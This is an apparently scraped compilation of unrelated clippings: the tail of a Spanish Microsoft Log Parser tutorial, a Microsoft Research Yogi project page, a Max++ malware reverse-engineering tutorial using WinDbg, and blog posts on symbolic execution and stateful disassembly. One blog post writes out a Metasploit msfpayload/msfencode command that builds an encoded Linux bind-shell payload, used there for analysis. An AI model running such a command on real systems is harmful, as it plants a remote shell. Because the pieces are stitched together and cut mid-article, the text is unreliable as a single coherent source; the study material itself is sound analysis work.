Si os fijáis nos encontramos con que en el campo Strings, me interesa encontrar el contenido “SYSTEM”, además el contenido de strings está delimitado por el PIPE \( | \), para ello utilizamos la FUNCIÓN **EXTRACT\_TOKEN\(\)** y la expresión LIKE para especificar qué es lo que buscamos, como podéis observar la cosa se va complicando, pero estamos practicando, creando consultas más interesantes que debemos sedimentar para poder sacarle jugo a esta herramienta.
Pasemos a otras opciones interesantes, cambiaremos un poco a otro método de
entrada FS, que nos permitirá trabajar con archivos y directorios, como
siempre veamos como obtener ayuda y unos ejemplos:

Para obtener ayuda sobre un método de entrada, ya lo hemos explicado pero lo
repito:

`Logparser.exe -h -i:FS`

<img src='img/Temp2_5349.png' width='524' height='473' />

`LogParser.exe "Select Name FROM C:\*.*" -i:FS -recurse:0`

<img src='img/Temp2_5355.png' width='524' height='306' />

Ojito con la opción **-recurse:0** sino la ponéis os saldrán todos los
subdirectorios.

Queda chulo, pero me faltan datos, vamos a buscar lo mismo pero quiero saber
también el tamaño de los archivos y que me los ordene, así al menos tendré
algo de datos.

<img src='img/Temp2_5348.png' width='524' height='271' />

Ahora voy a utilizar una función que a más de uno le va a gustar,
**HASHMD5\_FILE\(\)** nos calculará el HASH MD5 del archivo, veamos un
ejemplo:

<img src='img/Temp2_5347.png' width='524' height='163' />

También nos puede interesar ver el último acceso al archivo o cuando se creó,
aquí os pongo un ejemplo:

`LogParser.exe "SELECT Name, CreationTime, LastAccessTime, HASHMD5_FILE(Name)
FROM *.*" -i:FS -recurse:0`

<img src='img/Temp2_5352.png' width='524' height='225' />

Y creo que por hoy ya hay bastante, cada vez vamos aprendiendo nuevas
funciones y métodos de entrada, poco a poco, espero que os esté gustando esta
herramienta y como siempre abajo tenéis los comentarios, por si queréis
decirnos algo. XD

Hasta otra aprendices.

### Comparte esto:

  * Haz clic para compartir en Twitter \(Se abre en una ventana nueva\)
  * 2Haz clic para compartir en Facebook \(Se abre en una ventana nueva\)2
  * Haz clic para compartir en LinkedIn \(Se abre en una ventana nueva\)
  * Haz clic para compartir en Telegram \(Se abre en una ventana nueva\)
  * Haz clic para compartir en WhatsApp \(Se abre en una ventana nueva\)
  * Haz clic para compartir en Pocket \(Se abre en una ventana nueva\)
  * Haz clic para compartir en Google+ \(Se abre en una ventana nueva\)
  * Haz clic para compartir en Reddit \(Se abre en una ventana nueva\)
  * Haz clic para compartir en Tumblr \(Se abre en una ventana nueva\)
  * Haz clic para compartir en Pinterest \(Se abre en una ventana nueva\)
  * Haz clic para compartir en Skype \(Se abre en una ventana nueva\)
  * Haz clic para enviar por correo electrónico a un amigo \(Se abre en una ventana nueva\)
  * Haz clic para imprimir \(Se abre en una ventana nueva\)
  * 

Microsoft Log Parser, la gran desconocida...11 mayo, 2018En "Desde la línea de
comandos"

Parametrización de las consultas8 febrero, 2018En "Destacados"

PowerShell >\_ Pipe \(que no es lo mismo que pipa\)28 abril, 2017En
"PowerShell"

CategoríasDestacados, Windows EtiquetasLogParser

  

# Yogi - Microsoft Research

**Created:**| _12/7/2012 1:10:16 PM_  
---|---  
**Updated:**| _12/7/2012 1:10:16 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification papers modeling constraint
solving_  
  
  

The Yogi Project

<img src='img/Temp2_9985.jpg' width='190' height='120' alt='The Yogi Project'
/>

Yogi is a research project within the Rigorous Software Engineering group at
Microsoft Research India on software property checking. Our goal is to build a
scalable software property checker by systematically combining static analysis
with testing. We believe that this synergy of testing and static analysis can
be harnessed to efficiently validate software.

# People

<img src='img/Temp2_9984.jpg' width='72' height='72' alt='Aditya Nori' />

Aditya Nori

  

<img src='img/Temp2_9983.jpg' width='72' height='72' alt='Sriram Rajamani' />

Sriram Rajamani

  

### MSR colleagues

  * B. Ashok \(Bash\)

### Windows colleagues

  * Rahul Kumar
  * Vladimir Levin
  * Jakob Lichtenberg

### Collaborators

  * Supratik Chakraborty \(IIT Bombay\)
  * Patrice Godefroid \(MSR Redmond\)
  * Thomas A. Henzinger \(EPFL\)
  * Akash Lal \(MSR India\)

### Interns

  * **2011:**Aws Albarghouthi \(UToronto\)
  * **2010:** Abhishek Katyal \(IIT Delhi\), Rahul Sharma \(Btech thesis, IIT Delhi\), Zachary Tatlock \(UCSD\)
  * **2009:**Vijay Victor D'Silva \(Oxford University\), William Harris \(Wisconsin\), Sai Deep Tetali \(UCLA\)
  * **2008:** Bhargav S. Gulavani \(IIT Bombay\), Aditya Thakur \(Wisconsin\)
  * **2007:**Nels E. Beckman \(CMU\), Robert J. Simmons \(CMU\)
  * **2006:** Bhargav S. Gulavani \(IIT Bombay\), Yamini Kannan \(UC Berkeley\)

# Publications

  * Aws Albarghouthi, Rahul Kumar, Aditya V. Nori and Sriram K. Rajamani, Parallelizing Top-down Interprocedural Analyses, _in PLDI '12: Programming Languages Design and Implementation, _June 2012
  * William R. Harris, Akash Lal, Aditya V. Nori and Sriram K. Rajamani, Alternation for Termination, in _SAS '10: Static Analysis Symposium_ , September 2010
  * Bhargav S. Gulavani, Supratik Chakraborty, Aditya V. Nori, and Sriram K. Rajamani, Refining Abstract Interpretations, in _Information Processing Letters_ , May 2010
  * Aditya V. Nori and Sriram K. Rajamani, An Empirical Study of Optimizations in Yogi, in _ICSE '10: International Conference on Software Engineering_ , May 2010
  * Nels E. Beckman, Aditya V. Nori, Sriram K. Rajamani, Robert J. Simmons, Sai Deep Tetali, and Aditya V. Thakur, Proofs from Tests, in _IEEE Transactions on Software Engineering: Special Issue on the ISSTA 2008 Best Papers_ , February 2010
  * Patrice Godefroid, Aditya V. Nori, Sriram K. Rajamani, and Sai Deep Tetali, Compositional May-Must Program Analysis: Unleashing the Power of Alternation, in _Principles of Programming Languages \(POPL\)_, January 2010
  * Aditya V. Nori, Sriram K. Rajamani, SaiDeep Tetali, Aditya V. Thakur, The Yogi Project: Software Property Checking via Static Analysis and Testing, in _TACAS '09: Tools and Algorithms for the Construction and Analysis of Systems_ , March 2009
  * Patrice Godefroid, Peli de Halleux, Michael Y. Levin, Aditya V. Nori, Sriram K. Rajamani, Wolfram Schulte, Nikolai Tillmann, Automated Software Testing Using Program Analysis, in _IEEE Software: Special Issue on Software Development Tools_ , October 2008 
  * Nels E. Beckman, Aditya V. Nori, Sriram K. Rajamani, Robert J. Simmons, Proofs from Tests, in _ISSTA '08: International Symposium on Software Testing and Analysis_ , July 2008
  * Bhargav S. Gulavani, Supratik Chakraborty, Aditya V. Nori, Sriram K. Rajamani, Automatically Refining Abstract Interpretations, in _TACAS '08: Tools and Algorithms for the Construction and Analysis of Systems_ , March 2008
  * Bhargav S. Gulavani, Thomas A. Henzinger, Yamini Kannan, Aditya V. Nori, Sriram K. Rajamani, Synergy: A New Algorithm for Property Checking, in _FSE '06: Foundations of Software Engineering \(ACM SIGSOFT Distinguished Paper\)_ , November 2006

#

# Related Projects

  * SLAM
  * BLAST
  * ATG
  * SATURN
  * CUTE

  

# Strong password archive anything paper?

**Created:**| _7/23/2009 11:11:21 AM_  
---|---  
**Updated:**| _7/23/2009 11:11:57 AM_  
**Author:**| __  
**Tags:**| _research policies_  
  

# Dr. Fu's Security Blog: Malware Analysis Tutorial 7: Exploring Kernel Data
Structure

**Created:**| _1/3/2012 4:18:56 PM_  
---|---  
**Updated:**| _1/3/2012 4:18:56 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Tutorials_  
  

### Malware Analysis Tutorial 7: Exploring Kernel Data Structure

**Learning Goals** :  
  

  1. Explore kernel data structures effectively, e.g., using WinDbg.
  2. Understand the important kernel structures of Windows to maintain live information about processes and threads.
  3. Know the difference between hard and soft breakpoints and can use them effectively during debugging. 
  4. Practice code reverse engineering to understand assembly code.

**Applicable to:**  

  1. Computer Architecture
  2. Operating Systems Security
  3. Assembly Language
  4. Operating Systems

 _**1\. Introduction**_  
  
This tutorial shows you how to explore kernel data structures of windows using
WinDbg. It is very beneficial to us for understanding the infection techniques
employed by Max++. We will look at some interesting data structures such as
TIB \(Thread Information Block\), PEB \(Process Information Block\), and the
loaded modules/dlls of a process. We will examine what Max++ did to some
important kernel DLL files.  
  
_**1.1 Lab Setup**_  
If you have not installed WinDbg on your host machine \(note: not the VM
instance\), please follow Tutorial 1 first to install the VirtualBox platform
\(a small LAN consisting of one Linux gateway and one Windows instance
infected with Max++\). Then please follow Tutorial 4 to install WinDbg on the
host machine \(note: not the VM instances\) and configure the piped COM port
for the VM instance to be debugged. The following is the steps of launching
the VM instance and WinDbg:  
  

  1. Launch the Windows guest OS in VirtualBox first. Boot it in the "Debugged" mode. \(Follow Tutorial 4 for how to include the "Debugged" boot option\). 
  2. On your Host machine, start a command window and change directory to "c:\Program Files\Debugging Tools for Windows\(x86\)" and type the following.   
**windbg -b -k com:pipe,port=\\\\.\pipe\com\_11**

  3. You should see in the WinDbg window the following "Breakpoint on INT 3". It means that it currently stops at a software breakpoint \(INT 3\). Type "g" \(means "go"\) to let it continue. If necessary, "g" it a second time.
  4. Occasionally you might find that your windows guest OS is frozen. Simply in the WinDbg window \(at the host\) type "g".
  5. Now start the Immunity Debugger in the windows guest OS, and load the Max++ \(see Tutorial 1 for where to get Max++ binary\).
  6. In the Code Pane of IMM, right click to go to "_**0x401018**_ " and then set a _**HARD BREAKPOINT**_ \(right click and select "_**Breakpoint- >Hardware, on Execution**_"\) at it. This is where we stopped at in Tutorial 6. As you see right now, the instruction at 0x401018 is "DEC DWORD \[EAX+20\]". Later, when we stop at this address, the instruction will be overwritten, due to the self-extracting feature of Max++, see details in Tutorial 6. Then Press F9 \(continue\) to run to 0x00401018.

  
 _**1.1.1 Why Hardware Breakpoint?**_  
Notice that, you have to use hardware breakpoint in Step 6. Why not software
breakpoint? Think about how software breakpoint is implemented. When you set a
software breakpoint in a debugger, the debugger actually modifies the first
byte of the instruction at that location to "INT 3". When the execution gets
to the "INT 3", the windows kernel calls debugger to handle the interrupt
\(which then stops and highlights it in the debugger window, and when you
resume the execution or cancel the breakpoint, the debugger writes the
original opcode back\).  
  
Recall that the malware does self-extraction \(see Tutorial 6\). It overwrites
the "INT 3" and you will never be able to stop at the desired location
0x401018\! That's the reason we use hardware breakpoint. When a hardware
breakpoint is set, the address is recorded in one of the four HW breakpoint
registers provided by an Intel CPU. The CPU examines the registers everytime
one instruction is executed and stops at it. The only drawback is that you can
set up to 4 hardware breakpoints at any time.  
  
_**1.2 Analysis Objective**_  
We will analyze around 20 instructions, from _**0x00401018**_ to
_**0x0040105B**_. The assembly code is shown in Figure 1.  
  
﻿  
<img src='img/Temp2_2426.jpg' />  
---  
Figure 1. Code Segment to Analyze \(0x401018 to 0x40105B\)  
﻿  
  
  
_**2\. FS Register, TIB, and PEB**_  
  
  
As shown in Figure 1, instruction 0x00401018 \(MOV EAX, DWORD FS:\[18\]\) does
some important trick . It is reading the memory word located at FS:\[18\] into
EAX. Here FS, like SS and DS, is one of the segment registers provided in
Intel x86 register file. The FS:\[18\]is an address specified using the
displacement addressing mode. The address is calculated as \[value stored in
FS\] + 0x18.  
  
Whenever you see some code accessing the _**FS**_ register, __**you should pay
special attention\!**__ FS points to the most important Windows kernel data
structure related to the current process/thread. Check out reference \[1\] for
details and you will see that FS:\[18\] stores the entry address of TIB
\(Thread Information Block\) - also called TEB.  
  
Then the instruction at 0x40101E \(MOV EAX, \[EAX+30\]\) takes the word
located at EAX+0X30. What does this mean? Since now EAX has the entry address
of the TIB, it is now taking some data field which is 0x30 bytes away from the
beginning of the TIB record.  
  
We need to figure out the internal data structure of TIB. There are two ways:
\(1\) MSDN document, and \(2\) take advantage of the WinDbg kernel debugger.
For the most well known data structures like TIB, people have already done the
address calculation for you. For example, by reading \[1\], you would know
that offset 0x30 stores the entry address of PEB \(process information
block\). But for most cases, for a kernel data structure, you'll have to
manually calculate the offset \(i.e., figure out the size of all the previous
attributes in the structure and sum them up\).  
  
The most convenient way would be using WinDbg. Now come back to our WinDbg
window in the host machine and type the following: \(_**Ctrl+Break**_\). This
is to interrupt the running of the guest windows and get the control back to
WinDbg. Then type the following:  
  

_**dt nt\!\_TEB**_

  
This is to say, _**d**_ isplay the data _**t**_ ype of "\_TEB" located in the
nt module. If you need information of the "nt" module, you can type  
  
_**lm**_  
  
This displays the loaded modules and you can see that "nt" is the module name
for "_**ntoskrnl.dll**_ ".  
  
WinDbg is actually very powerful, by appending "-r n" to the dt command, you
can display the data types recursively, i.e., when a data field itself is a
complex data type, you can display its contents. For example, _**dt nt\!\_TEB
-r 2**_ display the contents recursively and the extraction level is 2.  
  
From the WinDbg dt dump, you can immediately infer that 0x30 of TEB is the
entry address of PEB.  
  
_**3\. Loaded Module List**_  
We now proceed to the next few instructions. Using the technique introduced in
Section 2, we can infer that instruction at 0x401021 \(MOV ECX, \[EAX+C\]\)
loads into the ECX the pointer to LDR \(loaded module list\). The information
of PEB structure can be found on MSDN \[2\], however, you will find that
WinDbg actually can provide more detailed information, including many
undocumented attributes.  
  
Now we need to look at the structure of LDR \(\_LIST\_ENTRY\). Executing dt
nt\!\_PEB\_LDR\_DATA in WinDbg, we have the following dump:  
  
kd> dt \_PEB\_LDR\_DATA  
nt\!\_PEB\_LDR\_DATA  
+0x000 Length : Uint4B  
+0x004 Initialized : UChar  
+0x008 SsHandle : Ptr32 Void  
+0x00c InLoadOrderModuleList : \_LIST\_ENTRY  
+0x014 InMemoryOrderModuleList : \_LIST\_ENTRY  
+0x01c InInitializationOrderModuleList : \_LIST\_ENTRY  
+0x024 EntryInProgress : Ptr32 Void  
kd> dt \_LIST\_ENTRY  
nt\!\_LIST\_ENTRY  
+0x000 Flink : Ptr32 \_LIST\_ENTRY  
+0x004 Blink : Ptr32 \_LIST\_ENTRY  
  
  
Notice that ECX now contains the address of the offset 0x8 of the
\_PEB\_LDR\_DATA, starting at this address is a \_LIST\_ENTRY structure which
contains two computer words \(each word is 4 bytes long\). The first four
bytes is the Flink, which points to the next \_LIST\_ENTRY, and the next four
bytes is the Blink, which points to the previous \_LIST\_ENTRY. So this is
exactly a _**doubly linked list structure**_\! More details of the
PEB\_LDR\_DATA structure can be found in MSDN document \[4\]. However, again,
notice that the documentation in \[4\] is not complete and is NOT accurate\!
The most authorative information should be from WinDbg.  
  
  
Now let us proceed to instruction 00401029 \(MOV EAX, DWORD \[ECX\]\). This is
essentially to move the contents of the FLink to EAX. Now according to \[4\],
the EAX now has the entry address of the\_LDR\_DATA\_TABLE\_ENTRY for the next
module. _**However, it is WRONG\! the correct information is that EAX now
contains the address of the offset 0x8 of \_LDR\_DATA\_TABLE\_ENTRY**_ \(i.e.,
the address of the data field "InMemoryOrderLinks"\)  
  
Now comes the interesting part. Look at instruction 0x0040102D \(MOV EDX,
DWORD \[EAX+20\]\), what does this mean? Let's examine the data structure
LDR\_DATA\_TABLE\_ENTRY first.  
  
kd> dt \_LDR\_DATA\_TABLE\_ENTRY -r2  
nt\!\_LDR\_DATA\_TABLE\_ENTRY  
+0x000 InLoadOrderLinks : \_LIST\_ENTRY  
+0x000 Flink : Ptr32 \_LIST\_ENTRY  
+0x000 Flink : Ptr32 \_LIST\_ENTRY  
+0x004 Blink : Ptr32 \_LIST\_ENTRY  
+0x004 Blink : Ptr32 \_LIST\_ENTRY  
+0x000 Flink : Ptr32 \_LIST\_ENTRY  
+0x004 Blink : Ptr32 \_LIST\_ENTRY  
+0x008 InMemoryOrderLinks : \_LIST\_ENTRY  
+0x000 Flink : Ptr32 \_LIST\_ENTRY  
+0x000 Flink : Ptr32 \_LIST\_ENTRY  
+0x004 Blink : Ptr32 \_LIST\_ENTRY  
+0x004 Blink : Ptr32 \_LIST\_ENTRY  
+0x000 Flink : Ptr32 \_LIST\_ENTRY  
+0x004 Blink : Ptr32 \_LIST\_ENTRY  
+0x010 InInitializationOrderLinks : \_LIST\_ENTRY  
+0x000 Flink : Ptr32 \_LIST\_ENTRY  
+0x000 Flink : Ptr32 \_LIST\_ENTRY  
+0x004 Blink : Ptr32 \_LIST\_ENTRY  
+0x004 Blink : Ptr32 \_LIST\_ENTRY  
+0x000 Flink : Ptr32 \_LIST\_ENTRY  
+0x004 Blink : Ptr32 \_LIST\_ENTRY  
+0x018 DllBase : Ptr32 Void  
+0x01c EntryPoint : Ptr32 Void  
+0x020 SizeOfImage : Uint4B  
+0x024 FullDllName : \_UNICODE\_STRING  
+0x000 Length : Uint2B  
+0x002 MaximumLength : Uint2B  
+_**0x004 Buffer : Ptr32 Uint2B**_  
+0x02c BaseDllName : \_UNICODE\_STRING  
+0x000 Length : Uint2B  
+0x002 MaximumLength : Uint2B  
+0x004 Buffer : Ptr32 Uint2B  
+0x034 Flags : Uint4B  
+0x038 LoadCount : Uint2B  
+0x03a TlsIndex : Uint2B  
+0x03c HashLinks : \_LIST\_ENTRY  
+0x000 Flink : Ptr32 \_LIST\_ENTRY  
+0x000 Flink : Ptr32 \_LIST\_ENTRY  
+0x004 Blink : Ptr32 \_LIST\_ENTRY  
+0x004 Blink : Ptr32 \_LIST\_ENTRY  
+0x000 Flink : Ptr32 \_LIST\_ENTRY  
+0x004 Blink : Ptr32 \_LIST\_ENTRY  
+0x03c SectionPointer : Ptr32 Void  
+0x040 CheckSum : Uint4B  
+0x044 TimeDateStamp : Uint4B  
+0x044 LoadedImports : Ptr32 Void  
+0x048 EntryPointActivationContext : Ptr32 Void  
+0x04c PatchInformation : Ptr32 Void  
  
We know that the instruction MOV EDX, DWORD \[EAX+20\] is to load the contents
of the word located at EAX+0x20. But where is EAX pointing at? It's pointing
at offset 0x8 of the \_LDR\_DATA\_TABLE\_ENTRY. Thus EAX+0x20 is pointing at
offset 0x28 \(see the emphasized area of the data structure dump above\),
which is the "_**Buffer**_ " field of the FullDllName.  
  
In Windows, \_UNICODE\_STRING is Microsoft's effort to cope with the multi-
cultural/language needs for localization of windows in different parts of the
world. It consists of two parts: \(1\) length of the string, and \(2\) the
real raw data of the string. So the "_**Buffer**_ " field encodes the full DLL
name in unicode\!  
  
_**What it essentially means is that code at 0x0040102Dis starting to
process/read the DLL name\!**_ To verify our conjecture, look at the register
EDX in the Immunity Debugger \(Figure 3\).You can see that the first module
name we are looking at is "ntdll.dll".  
  
  
<img src='img/Temp2_2425.jpg' />  
---  
Figure 3: EDX points to DLL Name  
  
_**4\. Challenges of the Day**_  
Now let us try to get the whole picture of the code from 0x00401018 to
0x00401054. You might notice that we have actually a nested 2-layer loop here.  
  
The outer loop is from 0x40102E to 0x401054, this is essentially a do-while
loop. The inner loop is from 0x401036 to 0x401046. Our challenges today are:  
\(1\) What does the inner loop from 0x401036 to 0x401046 do?  
\(2\) What does the out-loop do?  
  
A hint here: the code we discussed today tries to search for a module and do
some bad things to that module \(these malicious operations will start at
0x40105C\). Use your immunity debugger to find it out. We will show you these
malicious operations in the next tutorial.  
  
_**References**_  
1\. Wiki, "Windows Thread Information Block", Available at
http://en.wikipedia.org/wiki/Win32\_Thread\_Information\_Block  
2\. Microsoft, "PEB Structure", Available at http://msdn.microsoft.com/en-
us/library/windows/desktop/aa813706\(v=vs.85\).aspx  
3.Microsoft, "PEB\_LDR\_DATA structure", Available at
http://msdn.microsoft.com/en-
us/library/windows/desktop/aa813708\(v=vs.85\).aspx

# Malware Variant Detection Using Similarity Search over Sets of Control Flow Graphs | foocodechu
**Created:**| _1/22/2012 7:34:55 PM_  
---|---  
**Updated:**| _1/22/2012 7:34:55 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Malware Variant Detection Using Similarity Search over Sets of Control Flow
Graphs

This work is implemented in the Malwise malware detection system.

Malware Variant Detection Using Similarity Search over Sets of Control Flow
Graphs

**Malware Variant Detection Using Similarity Search over Sets of Control Flow
Graphs**  

View more presentations from Silvio Cesare

# Modelling Symbolic Memory

**Created:**| _2/18/2013 2:42:56 PM_  
---|---  
**Updated:**| _2/18/2013 2:42:56 PM_  
**Author:**| __  
**Tags:**| _reversing symbolic exec memory-manager_  
  

# **M** odelling Symbolic Memory****

My Symbolic Execution Engine creates a special-purpose VM environment for the
purpose of symbolically executing programs. The VM has two locations for
storing data, variables and memory**.** It's easy to associate registers with
variables, and the virtual memory space available in userland to memory**.**
This is _correct enough_ for this post.  
  
The engine runs off an Intermediate Language \(also known as Intermediate
Representation\) which is nothing more than a simple assembly language**.**
rnp\_see has 23 IR instructions. However, in memory the instructions to be
executed are stored in the target assembly language encoding \(for our cases,
x86-64\)**.** We therefor have a translator which reads in an instruction in
the target assembly language and outputs IR instructions**.**  
  
A basic loop for the VM would be:  
  
loop :  
target\_instructions = memory\(variables\[InstructionPointer\]\)  
ir\_instructions = translator\(target\_instructions\)  
execute\(ir\_instructions\)  
  
Where execute updates the variables and memory dependent on
ir\_instructions**.**  
  
_I use the notation \(bit\_size \{SSA Identifier\} value\) to denote symbolic
values, where \(8 \{0\} 0x41\) would be a single byte representing that
character 'A' and:_  
_\(8 \{0\} \(8 \{1\} wild\) < \(8 \{2\} 0x41\)\) represents all possible bytes
less than 'A'**.** When not necessary, I'll omit the SSA Identifier, IE: \(8
\(8 wild\) < \(8 0x41\)\)_  
  
There are two problems addressed in my memory model**.** The first problem is
the growth of the engine as symbolic branches spur the creation of multiple
symbolic VMs. A symbolic branch is one where the VM makes a decision based on
a symbolic value which can follow multiple paths, such as  
  
if \( \(8 \{0\} wild\) < \(8 \{1\} 0x41\) \) \{  
update\_state\(conditions\_A\);  
\} else \{  
update\_state\(conditions\_B\);  
\}  
  
Here the VM must be cloned, where in one branch \{0\} takes the values less
than 0x41, and in the other branch \{0\} takes the values greater than
0x41**.**  
  
To deal with this, the memory model uses a copy-on-write policy**.** The new
memory model will retain references to the original memory, broken into blocks
referred to as pages**.** When a page is written to in either branch, it is
copied first, and the respective memory model references the new page so as
not to interfere with the other branch**.**  
  
Symbolic memory values, or memory locations whose values evaluate to
expressions instead of concrete values, exist on a layer on top of the
concrete values**.** We query first to see if a symbolic value is
available**.** If a symbolic value is not available for the memory location,
we return a concrete value and can bypass querying the SMT solver for further
operations on this value, assuming other operands in future operations are
also concrete**.**  
  
The other problem is one of personal preference**.** Assume we read a single
byte of symbolic input, and this value is placed in a variable which is zero-
extended to 64-bits**.** When we write this value back to memory, we will
write 7 bytes of concrete values, but they are marked as symbolic**.**  
  
To compensate for this, each SymbolicValue \(as the class is called\) has a
method called concretize\(\)**.** Concretize will attempt to determine whether
the value has only a single possible value**.**  
  
Assuming we have a symbolic value \(8 \{0\} \(some-expression\)\), we first
query the SMT solver for a solution to \{0\} == \{0\}**.** If the solution to
this problem is \{1\}, we then query for \{0\} **\!** = \{1\}. If this second
condition is unsatisfiable, the only possible value for \{0\} is \{1\}**.**  
  
An example is given below:  
  
concretize: \(32 \(32 \(8 \{57468\} wild\) & \(8 \{57469\} 0xff\)\) >> \(8
\{59062\} 0x08\)\)  
done concretizing  
concretized value at address 7fff0ae3748d  
  
These three lines come from the use case above, where an 8-bit wild symbolic
value has been zero-extended to 32-bits, and we are storing the 32-bit value
back into the memory model**.** The second byte of this result is, however,
not symbolic, and has the only possible value of 0**.** My engine will detect
this and store a concrete value of 0 instead of a symbolic value**.**  
  
Why is this important? From a correctness standpoint it is not. The analysis
of the program will be correct without this concretizing step**.** However,
often not covered in academic papers is the frustrating purpose of engineering
your engine**.** The fewer symbolic values being thrown around memory, the
much cleaner the interpretation will be and the fewer headaches suffered**.**

Posted 12th August 2012 by rednovae

0

###  Add a comment****

  1. I wrote previously about how control flow graphs should show the evolution of a program over time**.** I've since begun hacking out an x86 emulator and including it in rdis in order to illustrate the point**.**  
  
The following graph may be a bit buggy \(I literally just wrote the code\),
but I believe it does a decent job of illustrating what I believe CFGs should
look like**.** Compare a naive disassembly of a shikata\_ga\_nai encoded linux
x86 bind\_shell, and the following \(perhaps incomplete\) emulated disassembly
of the same program:

<img src='img/Temp2_5397.png' />

Posted 7 hours ago by rednovae

0

###  Add a comment****

  2. If you didn't know, I've spent some time recently writing a disassembler  and thinking about disassembly **.** I'm going to outline some of my thoughts on where I think disassembly needs to go**.** There are gaps in this post**.** Consider it food for thought.  
  
We currently have two methods for disassembling programs. We have linear/sweep
disassembly, where bytes are disassembled immediately following one
another**.** We also have recursive disassembly, where we look at each
instruction to determine its successors**.** The problem with both of these
methods is we're not treating instructions like data**.**  
  
We need to treat disassembly as a state-ful experience**.** We are analyzing a
living, breathing program, not a static, ordered series of numbers**.** We
need to treat disassembly as a product of data-flow analysis**.** By adding
additional intelligence to our disassembly process, and changing our
expectations of what a disassembly tool should give us, we will get more
meaningful data, I mean code, well, same thing**.**  
  
We need to emulate \(perhaps symbolically\) our program's behavior during
runtime**.** During this analysis, instead of saving the values possible at
various portions of our program's execution we should be saving the statements
to be executed**.** This is the data which belongs in our control-flow
graphs**.**  
  
Take a look at a shikata\_ga\_nai encoded x86 linux bind\_tcp payload from
metasploit  
  
**.** /msfpayload linux/x86/shell/bind\_tcp R | \  
**.** /msfencode -e x86/shikata\_ga\_nai -t elf > /tmp/payload  
  
When I graph this executable in rdis, I get the following:

Wow, this isn't even remotely correct**.** These are not the instructions that
will be interpreted by our CPU**.** This is not the program contained in my
/tmp/payload executable**.** These are just the bytes that were present at the
time we conducted recursive disassembly**.** Programs are composed of data.
They are state-ful. This graph isn't very helpful**.**  
  
It's state-less.  
  
We should think of our CFGs as a journey through the execution of our
program**.** At each stop in our journey we extract one specific piece of
information, the statement to be executed, and we save it in a graph**.**  
  
_Caveat: There's an obvious problem with this approach**.** If we attempt to
perfectly disassemble our programs in this manner we may encounter \(possibly
maliciously induced\) explosive growth in our CFG, making this problem
infeasible for machines with finite memory**.** In all practicality, we may
consider this approach impossible to implement perfectly**.** We will need to
apply heuristics and accept imperfect results**.**_  
  
I propose we begin disassembling our programs in environments which allow us
to treat our code as data**.** We should emulate our programs in limited
environments and, as we continue through our program's execution, extract the
instructions to be executed**.** This is what we should be viewing in our
CFGs.  
  
How should we display these CFGs? What happens when the data composing our
code does change**?** Should we go back in time and edit our CFG, or disregard
the old data**?** I have some thoughts**.**  
  
An instruction should contain two pieces of information: data and
location**.** When added to our CFG, our CFG should track, "time," or
state**.**  
  
Let's start with a simple program, a loop with a conditional branch contained
within**.**  
  
  
During our analysis of this program, we discover that the code in \[D\] is
polymorphic**.** At some point in our execution, an instruction in \[D\]
changes**.** We will now show our CFG with stateful information**.**

Here we have \[D\] -> \[F\], which represents \[D\] in one state, \{0\}**.**
We also have \[G\], which represents the altered state of \[D\]**.** These
nodes are stateful. Let's say \[G\]'s successor is \[A\]**.** How would I
display this CFG?

Because the location and data of \[A\] has not changed, \[G\]'s successor
\[A\] remains the original \[A\]**.** \[A\] now includes the data that exists
in both state \{0\} of our program, as well as state \{1\}**.**  
  
As we continue to analyze this function, we discover that the only reachable
portions of our CFG in \{1\} are \[A\] -> \[B\], \[B\] -> \[D\], \[D\] ->
\[G\] and \[G\] -> \[A\]**.**

This is the information I want to see when analyzing a program**.** I want my
program interpreted as data, and the state of the program displayed in a
visual manner**.**

I'll conclude this post for now, with more to follow at a later date**.**

Posted 4 days ago by rednovae

0

###  Add a comment****

  3. I'm going to publicly announce what I have believed since I was first taught The Halting Problem: It's frigging stupid**.**  
  
Here's what the halting problem states: It is impossible to write a program
for a machine, which, given any one of an _infinite_ number of programs, will
determine whether the input program will cause the machine to reach a pre-
designated state**.**  
  
Here's what the halting problem does not state: It is impossible to write a
program for a machine, which, given any of a _finite_ number of programs, will
determine whether the input program will cause the machine to reach a pre-
designated state**.**  
  
Why does this matter? Because every machine in physical existence has a
_finite_ number of possible programs. When someone tells me, "You can't do X
because of the halting problem," I cringe, deep down inside**.** A tiny piece
my very being's fabric dies a slow and painful death**.**  
  
Allow me to strip away the goop and unnecessary crap from the halting problem
and rephrase it as the following:  
  
_" It is impossible to compute for infinite data, duh**.** "_  
The duh is important. If I ask you to sum together an infinite set of data,
can you do it**?** No. See how easy that was to understand? Undergraduates can
learn and grasp that concept in a matter of minutes, nay, seconds even**\!**
They can then move on towards more useful concepts, such as Data-Flow
Analysis**.**  
  
Allow me to supplement the above with the following helpful information:  
  
_" It is theoretically possible to compute for the data contained in your
Desktop, but the complexity requirements explode exponentially**.** Use
heuristics and understand you're receiving incomplete results**.** "_  
This is the relevant statement to program analysis as we perform it today**.**
It's a search over a finite number of states.

Posted 3 weeks ago by rednovae

6

###  View comments****

  4. ##  Forward****
Not surprisingly, I spend a lot of time writing code**.** Perhaps
surprisingly, I spend at least an equal amount of time thinking about the code
I write**.** Sometimes, while thinking about code, I have moments of
realization and enlightenment**.** Things click. Occasionally, during these
moments of enlightenment, I start writing them down in a blog post**.** I
rarely make my way through the blog post to completion**.** Once in a blue
moon, I hit submit. The post Thoughts on Instructions  was one of these blue
moon moments**.**  
  
I am lucky to have a single individual who occasionally ventures to my blog
and reads my post**.** After reading Thoughts on Instructions, he politely
told me, "What the hell are you talking about dude**?** You're making little
sense." I'm paraphrasing here, but the point stands**.**  
  
This is an attempt to rephrase parts of Thoughts on Instructions**.**  
  
Please do not confuse the words "incorrect" with "not useful"**.** A technique
can be useful and bring a wealth of value, yet still be incorrect**.**

##  Code is Data****

To simplify our understanding of systems which operate over instructions, we
logically categorize values into two groups, code and data**.** However "code"
is just an artificial label we apply to a subset of these values**.** In the
end, code is just values interpreted by a machine, and at the level these
values are interpreted at they should be recognized as data**.**  
  
In other words, code is data which can be interpreted by a machine**.** This
is something we should all be familiar with.  
  
I am reminded of a statement I heard from Sergey Bratus at this previous
defcon during the Programming Weird Machines with ELF Metadata talk**.** I
will have to paraphrase, but Sergey stated that ROP chains should be thought
of as instructions utilizing the gadgets as a VM**.** He is right on. When we
think about our rop chains at this level of abstraction, those return
addresses become instructions for our machine, and we can label the chain
itself as code**.**  
  
To re-reiterate "code" is just a label we apply to data to simplify our
understanding of how this data will be used**.**

##  There is no code**.** It's data all the way down****

